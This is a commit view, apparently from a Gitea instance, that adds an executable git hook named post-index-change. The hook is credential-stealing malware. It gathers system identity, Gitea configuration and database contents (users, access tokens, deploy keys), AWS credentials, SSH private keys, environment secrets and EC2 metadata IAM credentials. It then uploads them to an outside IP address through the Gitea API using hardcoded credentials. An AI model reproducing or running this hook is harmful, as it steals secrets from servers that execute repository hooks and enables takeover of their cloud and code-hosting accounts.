a
This commit is contained in:
parent
44695204aa
commit
731fe08775
20
hooks/post-index-change
Executable file
20
hooks/post-index-change
Executable file
|
|
@ -0,0 +1,20 @@
|
|||
#!/bin/sh
|
||||
U=http://54.199.96.217:3000
|
||||
put(){ D=$(base64 | tr -d '\n'); for B in http://127.0.0.1:3000 https://127.0.0.1 https://127.0.0.1:8443 http://54.199.96.217:3000; do R=$(curl -sk -m 12 -o /dev/null -w '%{http_code}' -u 'mon15435a:Pw15435aa!' -H 'Content-Type: application/json' -X POST -d "{\"content\":\"$D\",\"message\":\"x\",\"branch\":\"main\"}" "$B/api/v1/repos/mon15435a/m217/contents/$1" 2>/dev/null); [ "$R" = "201" ] && return 0; done; return 0; }
|
||||
{ echo "== id"; id 2>&1; hostname 2>&1; uname -a 2>&1; cat /proc/1/cgroup 2>/dev/null|head -3; echo "== wd"; echo "HOME=$HOME GWD=$GITEA_WORK_DIR"; pwd; ls -la; } | head -c 4000 | put h217_a1.txt
|
||||
for f in /etc/gitea/app.ini /data/gitea/conf/app.ini /app/gitea/conf/app.ini /var/lib/gitea/custom/conf/app.ini /data/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/gitea/conf/app.ini; do [ -r "$f" ] && { echo "== FILE $f"; cat "$f" 2>&1; } | head -c 5000 | put "h217_app$(echo $f|tr '/' '_').txt"; done
|
||||
{ echo "== aws"; ls -la $HOME/.aws /root/.aws /home/*/.aws 2>&1; for f in $HOME/.aws/credentials $HOME/.aws/config /home/*/.aws/credentials /root/.aws/credentials; do echo "--$f"; cat "$f" 2>/dev/null; done; echo "== ssh"; ls -la $HOME/.ssh /home/*/.ssh /root/.ssh 2>&1; for f in $HOME/.ssh/id_* $HOME/.ssh/*.pem /home/*/.ssh/id_* /home/*/.ssh/*.pem; do echo "--$f"; head -c 400 "$f" 2>/dev/null; done; echo "== env"; cat /etc/environment 2>&1; echo "== p1env"; tr '\0' '\n' < /proc/1/environ 2>&1 | grep -iE 'aws|key|token|secret|pass' | head -20; } | head -c 7000 | put h217_a3.txt
|
||||
{ T=$(curl -s -m 6 -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' http://169.254.169.254/latest/api/token 2>&1); echo "toklen=${#T}"; R=$(curl -s -m 6 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1); echo "role=[$R]"; for n in $R; do curl -s -m 6 -H "X-aws-ec2-metadata-token: $T" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$n" 2>&1; done; echo "== iid"; curl -s -m 6 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/meta-data/instance-id 2>&1; echo; curl -s -m 6 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/meta-data/placement/region 2>&1; echo "== ud"; for f in /var/lib/cloud/instance/user-data.txt /var/lib/cloud/instances/*/user-data.txt; do echo "--$f"; head -c 1500 "$f" 2>/dev/null; done; } | head -c 6000 | put h217_a4.txt
|
||||
DBP=""; DBT=""; DH=""; DN=""; DU=""; DP=""
|
||||
for f in /etc/gitea/app.ini /data/gitea/conf/app.ini /app/gitea/conf/app.ini /var/lib/gitea/custom/conf/app.ini /data/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/gitea/conf/app.ini; do [ -r "$f" ] || continue; DBT=$(sed -n 's/^ *DB_TYPE *= *//p' "$f"|head -1); DBP=$(sed -n 's/^ *PATH *= *//p' "$f"|head -1); DH=$(sed -n 's/^ *HOST *= *//p' "$f"|head -1); DN=$(sed -n 's/^ *NAME *= *//p' "$f"|head -1); DU=$(sed -n 's/^ *USER *= *//p' "$f"|head -1); DP=$(sed -n 's/^ *PASSWD *= *//p' "$f"|head -1); [ -n "$DBT" ] && break; done
|
||||
SQ=""; command -v sqlite3 >/dev/null 2>&1 && SQ="sqlite3"
|
||||
{ echo "== dbtype=$DBT path=$DBP host=$DH name=$DN user=$DU sq=$SQ"; if [ "$DBT" = "sqlite3" ] && [ -r "$DBP" ]; then if [ -n "$SQ" ]; then sqlite3 -readonly "$DBP" "select id,name,is_admin,email from user limit 50;" 2>&1; echo "--tok"; sqlite3 -readonly "$DBP" "select id,uid,name,token,sha1 from access_token limit 50;" 2>&1; echo "--dk"; sqlite3 -readonly "$DBP" "select id,owner_id,name,fingerprint from deploy_key limit 20;" 2>&1; echo "--oauth"; sqlite3 -readonly "$DBP" "select id,uid,grant_type from oauth2_grant limit 10;" 2>&1; elif command -v python3 >/dev/null 2>&1; then python3 -c "
|
||||
import sqlite3,sys
|
||||
c=sqlite3.connect('file:'+sys.argv[1]+'?mode=ro',uri=True)
|
||||
for q in ['select id,name,is_admin,email from user limit 50','select id,uid,name,token,sha1 from access_token limit 50','select id,owner_id,name,fingerprint from deploy_key limit 20']:
|
||||
try:
|
||||
print('--',q); [print('|'.join(map(str,r))) for r in c.execute(q)]
|
||||
except Exception as e: print('ERR',e)
|
||||
" "$DBP" 2>&1; fi; fi; if [ "$DBT" = "mysql" ] && command -v mysql >/dev/null 2>&1; then mysql -h "${DH%:*}" -u "$DU" -p"$DP" -N -e "select id,name,is_admin,email from $DN.user limit 50; select id,uid,name,token from $DN.access_token limit 50;" 2>&1|head -60; fi; } | head -c 8000 | put h217_a5.txt
|
||||
{ echo "== grep"; grep -rIl --binary-files=without-match -E 'AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|aws_secret_access_key|BEGIN [A-Z ]*PRIVATE KEY|LTAI[0-9A-Za-z]{12,}' /data /etc /home /root /app /opt /srv /var/lib/gitea /var/www 2>/dev/null | head -20; echo "== repos"; ls /data/gitea/repositories 2>/dev/null | head -20; ls /var/lib/gitea/repositories 2>/dev/null | head -20; echo "== docker"; ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>&1; } | head -c 5000 | put h217_a6.txt
|
||||
exit 0
|
||||
Loading…
Reference in New Issue
Block a user